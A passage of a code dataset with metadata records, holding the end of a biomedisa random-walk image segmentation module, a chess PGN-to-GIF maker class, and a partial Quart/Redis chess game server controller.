bm.image.user.username)\n if bm.path_to_data:\n save_data(bm.path_to_uq, uncertainty_result, compress=bm.label.compression)\n except Exception as e:\n print('Warning: GPU out of memory to allocate uncertainty array. Process starts without uncertainty.')\n bm.label.uncertainty = False\n\n # free device\n if bm.platform == 'cuda':\n ctx.pop()\n del ctx\n\n # argmax\n final_zero = np.argmax(final_zero, axis=0).astype(np.uint8)\n\n # regular result\n final_zero = get_labels(final_zero, bm.allLabels)\n final_result = np.zeros((bm.zsh, bm.ysh, bm.xsh), dtype=np.uint8)\n final_result[bm.argmin_z:bm.argmax_z, bm.argmin_y:bm.argmax_y, bm.argmin_x:bm.argmax_x] = final_zero\n final_result = final_result[1:-1, 1:-1, 1:-1]\n results['regular'] = final_result\n if bm.django_env:\n bm.path_to_final = unique_file_path(bm.path_to_final, bm.image.user.username)\n if bm.path_to_data:\n save_data(bm.path_to_final, final_result, bm.header, bm.final_image_type, bm.label.compression)\n\n # computation time\n t = int(time.time() - bm.TIC)\n if t < 60:\n time_str = str(t) + ' sec'\n elif 60 <= t < 3600:\n time_str = str(t // 60) + ' min ' + str(t % 60) + ' sec'\n elif 3600 < t:\n time_str = str(t // 3600) + ' h ' + str((t % 3600) // 60) + ' min ' + str(t % 60) + ' sec'\n print('Computation time:', time_str)\n\n if bm.django_env:\n\n # create final objects\n shortfilename = os.path.basename(bm.path_to_final)\n filename = 'images/' + bm.image.user.username + '/' + shortfilename\n tmp = Upload.objects.create(pic=filename, user=bm.image.user, project=bm.image.project, final=1, active=1, imageType=3, shortfilename=shortfilename)\n tmp.friend = tmp.id\n tmp.save()\n if bm.label.uncertainty:\n shortfilename = os.path.basename(bm.path_to_uq)\n filename = 'images/' + bm.image.user.username + '/' + shortfilename\n Upload.objects.create(pic=filename, user=bm.image.user, project=bm.image.project, final=4, imageType=3, shortfilename=shortfilename, friend=tmp.id)\n if bm.label.smooth:\n shortfilename = os.path.basename(bm.path_to_smooth)\n filename = 'images/' + bm.image.user.username + '/' + shortfilename\n smooth = Upload.objects.create(pic=filename, user=bm.image.user, project=bm.image.project, final=5, imageType=3, shortfilename=shortfilename, friend=tmp.id)\n\n # write in logfile\n with open(bm.path_to_time, 'a') as timefile:\n print('%s %s %s %s MB %s on %s' %(time.ctime(), bm.image.user.username, bm.image.shortfilename, bm.imageSize, time_str, config['SERVER_ALIAS']), file=timefile)\n\n # send notification\n send_notification(bm.image.user.username, bm.image.shortfilename, time_str, config['SERVER_ALIAS'])\n\n # acwe\n q = Queue('acwe', connection=Redis())\n job = q.enqueue_call(active_contour, args=(bm.image.id, tmp.id, bm.label.id, True,), timeout=-1)\n job = q.enqueue_call(active_contour, args=(bm.image.id, tmp.id, bm.label.id,), timeout=-1)\n\n # cleanup\n q = Queue('cleanup', connection=Redis())\n job = q.enqueue_call(remove_outlier, args=(bm.image.id, tmp.id, tmp.id, bm.label.id,), timeout=-1)\n if bm.label.smooth:\n job = q.enqueue_call(remove_outlier, args=(bm.image.id, smooth.id, tmp.id, bm.label.id, False,), timeout=-1)\n\n # create slices\n q = Queue('slices', connection=Redis())\n job = q.enqueue_call(create_slices, args=(bm.path_to_data, bm.path_to_final,), timeout=-1)\n if bm.label.smooth:\n job = q.enqueue_call(create_slices, args=(bm.path_to_data, bm.path_to_smooth,), timeout=-1)\n if bm.label.uncertainty:\n job = q.enqueue_call(create_slices, args=(bm.path_to_uq, None,), timeout=-1)\n\n # return results\n return results\n\n else:\n\n data_z, data_y, data_x, data_dtype = comm.recv(source=0, tag=0)\n data = np.empty((data_z, data_y, data_x), dtype=data_dtype)\n if data_dtype == 'uint8':\n comm.Recv([data, MPI.BYTE], source=0, tag=1)\n else:\n comm.Recv([data, MPI.FLOAT], source=0, tag=1)\n allx, nbrw, sorw, platform = comm.recv(source=0, tag=2)\n if allx:\n labels = []\n for k in range(3):\n labels_z, labels_y, labels_x = comm.recv(source=0, tag=k+3)\n labels_tmp = np.empty((labels_z, labels_y, labels_x), dtype=np.int32)\n comm.Recv([labels_tmp, MPI.INT], source=0, tag=k+6)\n labels.append(labels_tmp)\n else:\n labels_z, labels_y, labels_x = comm.recv(source=0, tag=3)\n labels = np.empty((labels_z, labels_y, labels_x), dtype=np.int32)\n comm.Recv([labels, MPI.INT], source=0, tag=6)\n indices = comm.recv(source=0, tag=9)\n indices_child = comm.recv(source=0, tag=10)\n\n # select platform\n if platform == 'cuda':\n import pycuda.driver as cuda\n cuda.init()\n dev = cuda.Device(rank % cuda.Device.count())\n ctx, queue = dev.make_context(), None\n if allx:\n from biomedisa_features.random_walk.pycuda_small_allx import walk\n else:\n from biomedisa_features.random_walk.pycuda_small import walk\n else:\n ctx, queue = _get_device(platform, rank)\n from biomedisa_features.random_walk.pyopencl_small import walk\n\n # run random walks\n tic = time.time()\n walkmap = walk(data, labels, indices, indices_child, nbrw, sorw, name, ctx, queue)\n tac = time.time()\n print('Walktime_%s: ' %(name) + str(int(tac - tic)) + ' ' + 'seconds')\n\n # free device\n if platform == 'cuda':\n ctx.pop()\n del ctx\n\n # send data\n for k in range(walkmap.shape[0]):\n datatemporaer = np.copy(walkmap[k])\n comm.Barrier()\n comm.Reduce([datatemporaer, MPI.FLOAT], None, root=0, op=MPI.SUM)\n\n", "repo_name": "biomedisa/biomedisa", "sub_path": "biomedisa_features/random_walk/rw_small.py", "file_name": "rw_small.py", "file_ext": "py", "file_size_in_byte": 12557, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 36, "dataset": "github-code", "pt": "7", "api": [{"api_name": "django.setup", "line_number": 14, "usage_type": "call"}, {"api_name": "socket.gethostname", "line_number": 27, "usage_type": "call"}, {"api_name": "biomedisa_features.biomedisa_helper._split_indices", "line_number": 36, "usage_type": "call"}, {"api_name": "biomedisa_features.biomedisa_helper.sendToChild", "line_number": 41, "usage_type": "call"}, {"api_name": "pycuda.driver.init", "line_number": 50, "usage_type": "call"}, {"api_name": "pycuda.driver", "line_number": 50, "usage_type": "name"}, {"api_name": "pycuda.driver.Device", "line_number": 51, "usage_type": "call"}, {"api_name": "pycuda.driver", "line_number": 51, "usage_type": "name"}, {"api_name": "biomedisa_features.biomedisa_helper._get_device", "line_number": 58, "usage_type": "call"}, {"api_name": "time.time", "line_number": 62, "usage_type": "call"}, {"api_name": "biomedisa_features.random_walk.pyopencl_small.walk", "line_number": 63, "usage_type": "call"}, {"api_name": "time.time", "line_number": 64, "usage_type": "call"}, {"api_name": "numpy.empty", "line_number": 72, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 72, "usage_type": "attribute"}, {"api_name": "numpy.copy", "line_number": 74, "usage_type": "call"}, {"api_name": "numpy.empty", "line_number": 75, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 75, "usage_type": "attribute"}, {"api_name": "mpi4py.MPI.FLOAT", "line_number": 77, "usage_type": "attribute"}, {"api_name": "mpi4py.MPI", "line_number": 77, "usage_type": "name"}, {"api_name": "mpi4py.MPI.SUM", "line_number": 77, "usage_type": "attribute"}, {"api_name": "numpy.int32", "line_number": 87, "usage_type": "call"}, {"api_name": "numpy.int32", "line_number": 88, "usage_type": "call"}, {"api_name": "biomedisa_features.random_walk.gpu_kernels._build_update_gpu", "line_number": 93, "usage_type": "call"}, {"api_name": "biomedisa_features.random_walk.gpu_kernels._build_curvature_gpu", "line_number": 94, "usage_type": "call"}, {"api_name": "pycuda.gpuarray.empty", "line_number": 95, "usage_type": "call"}, {"api_name": "pycuda.gpuarray", "line_number": 95, "usage_type": "name"}, {"api_name": "numpy.float32", "line_number": 95, "usage_type": "attribute"}, {"api_name": "pycuda.gpuarray.zeros", "line_number": 96, "usage_type": "call"}, {"api_name": "pycuda.gpuarray", "line_number": 96, "usage_type": "name"}, {"api_name": "numpy.float32", "line_number": 96, "usage_type": "attribute"}, {"api_name": "numpy.copy", "line_number": 102, "usage_type": "call"}, {"api_name": "pycuda.gpuarray.to_gpu", "line_number": 104, "usage_type": "call"}, {"api_name": "pycuda.gpuarray", "line_number": 104, "usage_type": "name"}, {"api_name": "numpy.argmax", "line_number": 109, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 109, "usage_type": "attribute"}, {"api_name": "biomedisa_features.biomedisa_helper.get_labels", "line_number": 110, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 111, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 111, "usage_type": "attribute"}, {"api_name": "biomedisa_features.biomedisa_helper.unique_file_path", "line_number": 116, "usage_type": "call"}, {"api_name": "biomedisa_features.biomedisa_helper.save_data", "line_number": 118, "usage_type": "call"}, {"api_name": "pycuda.gpuarray.zeros", "line_number": 123, "usage_type": "call"}, {"api_name": "pycuda.gpuarray", "line_number": 123, "usage_type": "name"}, {"api_name": "numpy.float32", "line_number": 123, "usage_type": "attribute"}, {"api_name": "pycuda.gpuarray.zeros", "line_number": 124, "usage_type": "call"}, {"api_name": "pycuda.gpuarray", "line_number": 124, "usage_type": "name"}, {"api_name": "numpy.float32", "line_number": 124, "usage_type": "attribute"}, {"api_name": "biomedisa_features.random_walk.gpu_kernels._build_kernel_uncertainty", "line_number": 125, "usage_type": "call"}, {"api_name": "biomedisa_features.random_walk.gpu_kernels._build_kernel_max", "line_number": 126, "usage_type": "call"}, {"api_name": "pycuda.gpuarray.to_gpu", "line_number": 128, "usage_type": "call"}, {"api_name": "pycuda.gpuarray", "line_number": 128, "usage_type": "name"}, {"api_name": "numpy.uint8", "line_number": 133, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 134, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 134, "usage_type": "attribute"}, {"api_name": "biomedisa_features.biomedisa_helper.unique_file_path", "line_number": 139, "usage_type": "call"}, {"api_name": "biomedisa_features.biomedisa_helper.save_data", "line_number": 141, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 152, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 152, "usage_type": "attribute"}, {"api_name": "biomedisa_features.biomedisa_helper.get_labels", "line_number": 155, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 156, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 156, "usage_type": "attribute"}, {"api_name": "biomedisa_features.biomedisa_helper.unique_file_path", "line_number": 161, "usage_type": "call"}, {"api_name": "biomedisa_features.biomedisa_helper.save_data", "line_number": 163, "usage_type": "call"}, {"api_name": "time.time", "line_number": 166, "usage_type": "call"}, {"api_name": "os.path.basename", "line_number": 178, "usage_type": "call"}, {"api_name": "os.path", "line_number": 178, "usage_type": "attribute"}, {"api_name": "biomedisa_app.models.Upload.objects.create", "line_number": 180, "usage_type": "call"}, {"api_name": "biomedisa_app.models.Upload.objects", "line_number": 180, "usage_type": "attribute"}, {"api_name": "biomedisa_app.models.Upload", "line_number": 180, "usage_type": "name"}, {"api_name": "os.path.basename", "line_number": 184, "usage_type": "call"}, {"api_name": "os.path", "line_number": 184, "usage_type": "attribute"}, {"api_name": "biomedisa_app.models.Upload.objects.create", "line_number": 186, "usage_type": "call"}, {"api_name": "biomedisa_app.models.Upload.objects", "line_number": 186, "usage_type": "attribute"}, {"api_name": "biomedisa_app.models.Upload", "line_number": 186, "usage_type": "name"}, {"api_name": "os.path.basename", "line_number": 188, "usage_type": "call"}, {"api_name": "os.path", "line_number": 188, "usage_type": "attribute"}, {"api_name": "biomedisa_app.models.Upload.objects.create", "line_number": 190, "usage_type": "call"}, {"api_name": "biomedisa_app.models.Upload.objects", "line_number": 190, "usage_type": "attribute"}, {"api_name": "biomedisa_app.models.Upload", "line_number": 190, "usage_type": "name"}, {"api_name": "time.ctime", "line_number": 194, "usage_type": "call"}, {"api_name": "biomedisa_app.config.config", "line_number": 194, "usage_type": "name"}, {"api_name": "biomedisa_app.views.send_notification", "line_number": 197, "usage_type": "call"}, {"api_name": "biomedisa_app.config.config", "line_number": 197, "usage_type": "name"}, {"api_name": "rq.Queue", "line_number": 200, "usage_type": "call"}, {"api_name": "redis.Redis", "line_number": 200, "usage_type": "call"}, {"api_name": "biomedisa_features.active_contour.active_contour", "line_number": 201, "usage_type": "argument"}, {"api_name": "biomedisa_features.active_contour.active_contour", "line_number": 202, "usage_type": "argument"}, {"api_name": "rq.Queue", "line_number": 205, "usage_type": "call"}, {"api_name": "redis.Redis", "line_number": 205, "usage_type": "call"}, {"api_name": "biomedisa_features.remove_outlier.remove_outlier", "line_number": 206, "usage_type": "argument"}, {"api_name": "biomedisa_features.remove_outlier.remove_outlier", "line_number": 208, "usage_type": "argument"}, {"api_name": "rq.Queue", "line_number": 211, "usage_type": "call"}, {"api_name": "redis.Redis", "line_number": 211, "usage_type": "call"}, {"api_name": "biomedisa_features.create_slices.create_slices", "line_number": 212, "usage_type": "argument"}, {"api_name": "biomedisa_features.create_slices.create_slices", "line_number": 214, "usage_type": "argument"}, {"api_name": "biomedisa_features.create_slices.create_slices", "line_number": 216, "usage_type": "argument"}, {"api_name": "numpy.empty", "line_number": 224, "usage_type": "call"}, {"api_name": "mpi4py.MPI.BYTE", "line_number": 226, "usage_type": "attribute"}, {"api_name": "mpi4py.MPI", "line_number": 226, "usage_type": "name"}, {"api_name": "mpi4py.MPI.FLOAT", "line_number": 228, "usage_type": "attribute"}, {"api_name": "mpi4py.MPI", "line_number": 228, "usage_type": "name"}, {"api_name": "numpy.empty", "line_number": 234, "usage_type": "call"}, {"api_name": "numpy.int32", "line_number": 234, "usage_type": "attribute"}, {"api_name": "mpi4py.MPI.INT", "line_number": 235, "usage_type": "attribute"}, {"api_name": "mpi4py.MPI", "line_number": 235, "usage_type": "name"}, {"api_name": "numpy.empty", "line_number": 239, "usage_type": "call"}, {"api_name": "numpy.int32", "line_number": 239, "usage_type": "attribute"}, {"api_name": "mpi4py.MPI.INT", "line_number": 240, "usage_type": "attribute"}, {"api_name": "mpi4py.MPI", "line_number": 240, "usage_type": "name"}, {"api_name": "pycuda.driver.init", "line_number": 247, "usage_type": "call"}, {"api_name": "pycuda.driver", "line_number": 247, "usage_type": "name"}, {"api_name": "pycuda.driver.Device", "line_number": 248, "usage_type": "call"}, {"api_name": "pycuda.driver", "line_number": 248, "usage_type": "name"}, {"api_name": "pycuda.driver.Device.count", "line_number": 248, "usage_type": "call"}, {"api_name": "biomedisa_features.biomedisa_helper._get_device", "line_number": 255, "usage_type": "call"}, {"api_name": "time.time", "line_number": 259, "usage_type": "call"}, {"api_name": "biomedisa_features.random_walk.pyopencl_small.walk", "line_number": 260, "usage_type": "call"}, {"api_name": "time.time", "line_number": 261, "usage_type": "call"}, {"api_name": "numpy.copy", "line_number": 271, "usage_type": "call"}, {"api_name": "mpi4py.MPI.FLOAT", "line_number": 273, "usage_type": "attribute"}, {"api_name": "mpi4py.MPI", "line_number": 273, "usage_type": "name"}, {"api_name": "mpi4py.MPI.SUM", "line_number": 273, "usage_type": "attribute"}]} {"seq_id": "70603034783", "text": "from chess import pgn as pgn_reader\nfrom chess import Board\n\nfrom pygifsicle import optimize as optimize_gif\nfrom imageio import mimwrite\nimport os, io\nimport errno\n\nfrom create_frame import Chess_Image\nfrom constants import ICE_THEME\n\n\nclass Gifmaker:\n '''\n Class for converting a chess ``PGN`` file to a ``GIF``.\n\n Parameters\n ----------\n colors : `tuple`, optional\n colors for white and black squares.. Default `` ('#dee3e6','#8ca2ad') ``.\n piece_theme : `str`, optional\n Choose one of the available piece_themes.\n Default ``merida``.\n side : `int`, optional\n Size of the side of a single chess-square in pixels. Default ``70``.\n h_margin : `int`, optional\n Black horizontal margin around the chess_board to be rendered in the GIF. \n Default ``0``.\n v_margin : `int`, optional\n Black vertical margin around the chess_board to be rendered in the GIF. \n Default ``0``.\n delay : `float`, optional\n Delay in seconds betweeen individual moves.\n Default ``1``.\n\n Note\n ----\n Following are the available piece-themes:\n **{ 'alpha', 'california' , 'cardinal' , 'cburnett' , 'chess7' , 'chessnut' , 'companion' , 'dubrovny' , 'fantasy' , 'fresca' , 'gioco' , 'icpieces' , 'kosal' , 'leipzig' , 'letter' , 'libra' , 'maestro' , 'merida' , 'mono' , 'pirouetti' , 'pixel' , 'reillycraig' , 'riohacha' , 'shapes' , 'spatial' , 'staunty' , 'tatiana' }**.\n '''\n\n def __init__(self, **kwargs: dict):\n\n kwargs.setdefault('colors', ICE_THEME)\n kwargs.setdefault('piece_theme', 'merida')\n kwargs.setdefault('side', 70)\n kwargs.setdefault('h_margin', 0)\n kwargs.setdefault('v_margin', 0)\n kwargs.setdefault('delay', 1)\n\n self.kwargs = kwargs\n \n def make_gif_from_pgn_string(self, pgn_string : str, gif_file_path: str = 'chess.gif'):\n ''' \n Makes gif for the loaded pgn at the specified destination file path.\n\n Parameters\n ----------\n pgn_string : string\n A valid pgn string\n\n gif_file_path : str\n Destination directory to store the gif file.\n '''\n pgn_file = io.StringIO(pgn_string)\n self.__make_gif( pgn_file , gif_file_path )\n\n\n def make_gif_from_pgn_file(self, pgn_file_path:str, gif_file_path: str = 'chess.gif'):\n ''' \n Makes gif for the loaded pgn at the specified destination file path.\n\n Parameters\n ----------\n pgn_file : file\n A pgn file containing chess game\n\n gif_file_path : str\n Destination directory to store the gif file.\n '''\n # Check if file exists\n if not os.path.isfile(pgn_file_path):\n raise FileNotFoundError(errno.ENOENT, os.strerror(errno.ENOENT), pgn_file_path)\n\n pgn_file = open(pgn_file_path)\n self.__make_gif( pgn_file , gif_file_path )\n\n\n def __make_gif(self, pgn_file : str, gif_file_path: str):\n '''\n Makes gif for the loaded pgn at the specified destination file path.\n\n Parameters\n ----------\n pgn_file : file\n A valid pgn string or \n\n gif_file_path : str\n Destination directory to store the gif file.\n '''\n\n chess_game = pgn_reader.read_game(pgn_file)\n #print(chess_game)\n\n self.board_states = [Board()]\n\n main_line_itr = chess_game.mainline()\n for node in main_line_itr:\n if node.parent is not None:\n current_move = node.san()\n\n current_board = node.board()\n self.board_states.append(current_board)\n\n obj = Chess_Image(\n colors = self.kwargs['colors'],\n side = self.kwargs['side'],\n piece_theme = self.kwargs['piece_theme'],\n h_margin = self.kwargs['h_margin'],\n v_margin = self.kwargs['v_margin']\n )\n\n frames = list( map(lambda x: obj.create_position(x), self.board_states) )\n\n durations = len(frames) * [self.kwargs['delay']]\n\n mimwrite(\n gif_file_path,\n frames,\n duration = durations,\n subrectangles = True,\n palettesize = 256\n )\n\n optimize_gif(gif_file_path)\n\n\nif __name__ == \"__main__\":\n pass\n", "repo_name": "tryingsomestuff/Minic", "sub_path": "Tools/video/gif_maker.py", "file_name": "gif_maker.py", "file_ext": "py", "file_size_in_byte": 4324, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 84, "dataset": "github-code", "pt": "7", "api": [{"api_name": "constants.ICE_THEME", "line_number": 44, "usage_type": "argument"}, {"api_name": "io.StringIO", "line_number": 65, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 82, "usage_type": "call"}, {"api_name": "os.path", "line_number": 82, "usage_type": "attribute"}, {"api_name": "errno.ENOENT", "line_number": 83, "usage_type": "attribute"}, {"api_name": "os.strerror", "line_number": 83, "usage_type": "call"}, {"api_name": "chess.pgn.read_game", "line_number": 102, "usage_type": "call"}, {"api_name": "chess.pgn", "line_number": 102, "usage_type": "name"}, {"api_name": "chess.Board", "line_number": 105, "usage_type": "call"}, {"api_name": "create_frame.Chess_Image", "line_number": 115, "usage_type": "call"}, {"api_name": "imageio.mimwrite", "line_number": 127, "usage_type": "call"}, {"api_name": "pygifsicle.optimize", "line_number": 135, "usage_type": "call"}]} {"seq_id": "74069676730", "text": "# import gevent\n# from gevent.pool import Pool\nimport random\nimport traceback\nimport ujson\nimport asyncio\nfrom quart.ctx import copy_current_websocket_context\n\nfrom users import UserManager\nfrom manager import ChessManager, GameOverException\nfrom tournaments import TournamentManager\n\n\nclass ControllerExcetions(Exception):\n pass\n\n\nclass InvalidActionFormatException(ControllerExcetions):\n pass\n\n\nclass InvalidNoActionException(ControllerExcetions):\n pass\n\n\nclass InvalidActionNameException(ControllerExcetions):\n pass\n\n\nclass InvalidNoDataException(ControllerExcetions):\n pass\n\n\nclass InvalidLoginException(ControllerExcetions):\n pass\n\n\nclass InvalidTokenException(ControllerExcetions):\n pass\n\n\nclass InvalidRegisterException(ControllerExcetions):\n pass\n\n\nclass TimeoutException(ControllerExcetions):\n pass\n\n\nclass InvalidSaveTurnException(object):\n pass\n\n\nclass Controller:\n\n def __init__(self, redis_pool, app, connected_websockets):\n self.chess_manager = ChessManager(redis_pool)\n self.user_manager = UserManager(redis_pool, app)\n self.tournament_manager = TournamentManager(redis_pool, self.chess_manager)\n self.board_subscribers = {}\n self.redis_pool = redis_pool\n self.app = app\n self.connected_websockets = connected_websockets\n\n async def execute_message(self, client, message):\n self.app.logger.info(\n 'process_message: message: {}'.format(message)\n )\n await self.process_message(client, message)\n\n async def get_current_username(self, client):\n auth_token = client.args.get('authtoken')\n if not auth_token:\n raise NoTokenException()\n return await self.user_manager.get_username_by_auth_token(auth_token)\n\n async def process_message(self, client, message):\n method_name, data = await self.parse_message(message)\n current_username = await self.get_current_username(client)\n self.app.logger.info('process_message from {}: {} {}'.format(current_username, method_name, data))\n method = getattr(self, method_name)\n try:\n await method(current_username, client, data)\n # await self.send(client, 'response_ok', data)\n except Exception as e:\n tb = traceback.format_exc()\n self.app.logger.error('exception {} {}'.format(e, tb))\n\n data = {\n 'exception': str(type(e))\n }\n # gevent.spawn(\n await self.send(client, 'response_error', data)\n raise e\n\n async def parse_message(self, message):\n try:\n job = ujson.loads(message)\n except ValueError:\n raise InvalidActionFormatException()\n\n if 'action' not in job:\n raise InvalidNoActionException()\n action_name = job['action']\n method_name = 'action_' + str(action_name)\n if not hasattr(self, method_name):\n raise InvalidActionNameException()\n\n if 'data' not in job:\n raise InvalidNoDataException()\n\n data = job['data']\n return method_name, data\n\n def valid_auth(self, data):\n return 'username' in data and 'password' in data\n\n async def action_register(self, current_username, client, data):\n if not self.valid_auth(data):\n raise InvalidRegisterException()\n return self.user_manager.register(data['username'], data['password'])\n\n async def action_get_connected_users(self, current_username, client, data):\n self.app.logger.info('action_get_connected {} {}'.format(client, current_username))\n data = {\n 'users_list': await self.get_active_users()\n }\n await self.send(client, 'update_user_list', data)\n\n async def action_login(self, current_username, client, data=None):\n self.app.logger.info('action_login {} {}'.format(client, current_username))\n client.username = current_username\n client.queue.username = current_username\n data = {\n 'users_list': await self.get_active_users()\n }\n self.app.logger.info('connected users: {}'.format(data))\n await self.broadcast('update_user_list', data)\n\n return True\n\n async def get_active_users(self):\n return {\n queue.username for queue in self.connected_websockets\n if hasattr(queue, 'username')\n }\n\n def get_username_by_client(self, client):\n for queue in self.connected_websockets:\n if(\n hasattr(queue, 'webservice') and\n queue.webservice == client and\n hasattr(queue, 'username')\n ):\n return queue.username\n\n async def action_challenge(self, current_username, client, data):\n challenged_username = data['username']\n challenger_username = current_username\n await self._challenge(challenger_username, challenged_username)\n\n async def challenge_with_auth_token(self, auth_token, username, message):\n challenger_username = await self.user_manager.get_username_by_auth_token(auth_token)\n return await self._challenge(challenger_username, username)\n\n async def _challenge(self, challenger_username, challenged_username):\n self.app.logger.info('action_challenge {} from {}'.format(challenged_username, challenger_username))\n if random.choice([True, False]):\n white_username = challenger_username\n black_username = challenged_username\n else:\n white_username = challenged_username\n black_username = challenger_username\n move_left = 200\n board_id = self.chess_manager.challenge(\n white_username=white_username,\n black_username=black_username,\n move_left=move_left,\n )\n data = {\n 'username': challenger_username,\n 'board_id': board_id,\n }\n await self.broadcast('ask_challenge', data, challenged_username)\n return True\n\n async def broadcast(self, event, data, username=None):\n for queue in self.connected_websockets:\n if(\n not username or\n (\n hasattr(queue, 'username') and\n username == queue.username\n )\n ):\n message = {\n 'event': event,\n 'data': data,\n }\n await queue.put(ujson.dumps(message))\n\n async def action_accept_challenge(self, current_username, client, data):\n board_id = data['board_id']\n await self._start_board(board_id)\n return True\n\n async def _start_board(self, board_id):\n turn_token, username, actual_turn, board, move_left, opponent_username = self.chess_manager.challenge_accepted(board_id)\n next_turn_data = {\n 'board_id': board_id,\n 'turn_token': turn_token,\n 'username': username,\n 'actual_turn': actual_turn,\n 'board': board,\n 'move_left': move_left,\n 'opponent_username': opponent_username,\n }\n self.app.logger.info('action_accept_challenge ok'.format(board_id, next_turn_data))\n await self.set_next_turn(board_id, next_turn_data)\n\n async def action_abort(self, current_username, client, data):\n board_id = data['board_id']\n self.chess_manager.abort(board_id, current_username)\n await self.send_gameover(board_id)\n\n async def action_move(self, current_username, client, data):\n board_id = data['board_id']\n turn_token = data['turn_token']\n key = self.get_next_turn_key(board_id, turn_token)\n self.app.logger.info('action_move control timeout {}'.format(key))\n if self.redis_pool.exists(key):\n self.app.logger.info('action_move control timeout OK {}'.format(key))\n self.redis_pool.delete(key)\n else:\n # timeout...\n self.app.logger.info('action_move control timeout ERROR {}'.format(key))\n raise TimeoutException()\n processed = False\n try:\n turn_token, username, actual_turn, board, move_left, opponent_username = self.chess_manager.move_with_turn_token(\n turn_token=data['turn_token'],\n from_row=data['from_row'],\n from_col=data['from_col'],\n to_row=data['to_row'],\n to_col=data['to_col'],\n )\n processed = True\n except GameOverException:\n await self.send_gameover(board_id)\n return\n except Exception as e:\n tb = traceback.format_exc()\n try:\n self.app.logger.error('action_move {} exception {} {}'.format(board_id, e, tb))\n await self.force_change_turn(data['board_id'], data['turn_token'])\n return\n # turn_token, username, actual_turn, board, move_left = self.chess_manager._next_turn_token(board_id)\n except GameOverException:\n await self.send_gameover(board_id)\n return\n next_turn_data = {\n 'board_id': board_id,\n 'turn_token': turn_token,\n 'username': username,\n 'actual_turn': actual_turn,\n 'board': board,\n 'move_left': move_left,\n 'opponent_username': opponent_username,\n }\n await self.set_next_turn(board_id, next_turn_data)\n\n def get_next_turn_key(self, board_id, turn_token):\n return \"next_turn:{}:{}\".format(board_id, turn_token)\n\n async def set_next_turn(self, board_id, next_turn_data):\n self.app.logger.info('set_next_turn {} {}'.format(board_id, next_turn_data))\n key = self.get_next_turn_key(board_id, next_turn_data['turn_token'])\n self.redis_pool.set(key, ujson.dumps(next_turn_data))\n await self.enqueue_next_turn(key)\n # if not self._save_turn(next_turn_data):\n # raise InvalidSaveTurnException()\n\n async def enqueue_next_turn(self, key):\n self.app.logger.info('enqueue_next_turn {}'.format(key))\n # self.redis_pool.rpush(\"next_turn_queue\", key)\n # self.pool.wait_available()\n # self.pool.spawn(self.process_next_turn, key)\n await self.process_next_turn(key)\n\n def _save_turn(self, data):\n try:\n data_json = ujson.dumps(data)\n self.redis_pool.set(\n \"{0}:{1}\".format('turn', data['turn_token']),\n data_json)\n return True\n except Exception:\n return False\n\n async def send_gameover(self, board_id):\n board = self.chess_manager.get_board_by_id(board_id)\n if self.tournament_manager.get_tournament_key('') in board_id:\n self.tournament_manager.board_finish(board_id)\n data = {\n 'board': board.board.get_simple(),\n 'white_username': str(board.white_username),\n 'black_username': str(board.black_username),\n 'white_score': str(board.white_score),\n 'black_score': str(board.black_score),\n 'board_id': board_id,\n }\n await self.broadcast('gameover', data, board.white_username)\n await self.broadcast('gameover', data, board.black_username)\n\n async def force_change_turn(self, board_id, turn_token):\n self.app.logger.info('force_change_turn {} {}'.format(board_id, turn_token))\n try:\n turn_token, username, actual_turn, board, move_left, opponent_username = self.chess_manager.force_change_turn(board_id, turn_token)\n except GameOverException:\n await self.send_gameover(board_id)\n return\n next_turn_data = {\n 'board_id': board_id,\n 'turn_token': turn_token,\n 'username': username,\n 'actual_turn': actual_turn,\n 'board': board,\n 'move_left': move_left,\n 'opponent_username': opponent_username,\n }\n self.app.logger.info('force_change_turn set_next_turn {} {}'.format(board_id, turn_token))\n await self.set_next_turn(board_id, next_turn_data)\n\n async def process_next_turn(self, key):\n self.app.logger.info('process_next_turn {}'.format(key))\n try:\n # key = self.redis_pool.blpop('next_turn_queue')\n if not key:\n self.app.logger.info('Nothing pending to process')\n return\n data = ujson.loads(self.redis_pool.get(key))\n self.app.logger.info('next_turn key: {} data: {}'.format(key, data))\n await self.broadcast('your_turn', data, data['username'])\n # self.notify_to_board_subscribers(data['board_id'])\n # control timeout\n await asyncio.sleep(30)\n self.app.logger.info('Checking timeout {} {}'.format(data['board_id'], data['turn_token']))\n if self.redis_pool.exists(key):\n self.app.logger.info('Forcing timeout {} {}'.format(data['board_id'], data['turn_token']))\n self.redis_pool.delete(key)\n await self.force_change_turn(data['board_id'], data['turn_token'])\n except Exception as e:\n tb = traceback.format_exc()\n self.app.logger.error('process_next_turn {} exception {} {}'.format(key, e, tb))\n self.app.logger.info('end process_next_turn {}'.format(key))\n\n def notify_to_board_subscribers(self, board_id):\n board = self.chess_manager.get_board_by_id(board_id)\n for board_subscriber_client in self.board_subscribers.get(board_id, []):\n self.notify_board_update(board_subscriber_client, board)\n\n async def notify_board_update(self, board_subscriber_client, board):\n data = {\n 'board': board.board.get_simple(),\n 'white_username': board.white_username,\n 'black_username': board.black_username,\n 'white_score': board.white_score,\n 'black_score': board.black_score,\n\n }\n await self.send(board_subscriber_client, 'update_board', data)\n\n async def action_subscribe(self, current_username, client, data):\n board_id = data['board_id']\n board = self.chess_manager.get_board_by_id(board_id)\n if board_id not in self.board_subscribers:\n self.board_subscribers[board_id] = []\n self.board_subscribers[board_id].append(client)\n self.notify_board_update(client, board)\n return True\n\n async def send(self, client, event, data):\n \"\"\"\n Send given data to the registered client.\n Automatically discards invalid connections.\n \"\"\"\n try:\n self.app.logger.info(u'send to client: {}, event: {}, data: {}'.format(client, event, data))\n message = {\n 'event': event,\n 'data': data,\n }\n # print 'sent to {0}: {1}'.format(client, message)\n await client.send(ujson.dumps(message))\n except Exception:\n pass\n # app.logger.info(u'Exception on sending to client: {}'.format(client))\n # self.clients.remove(client)\n\n async def 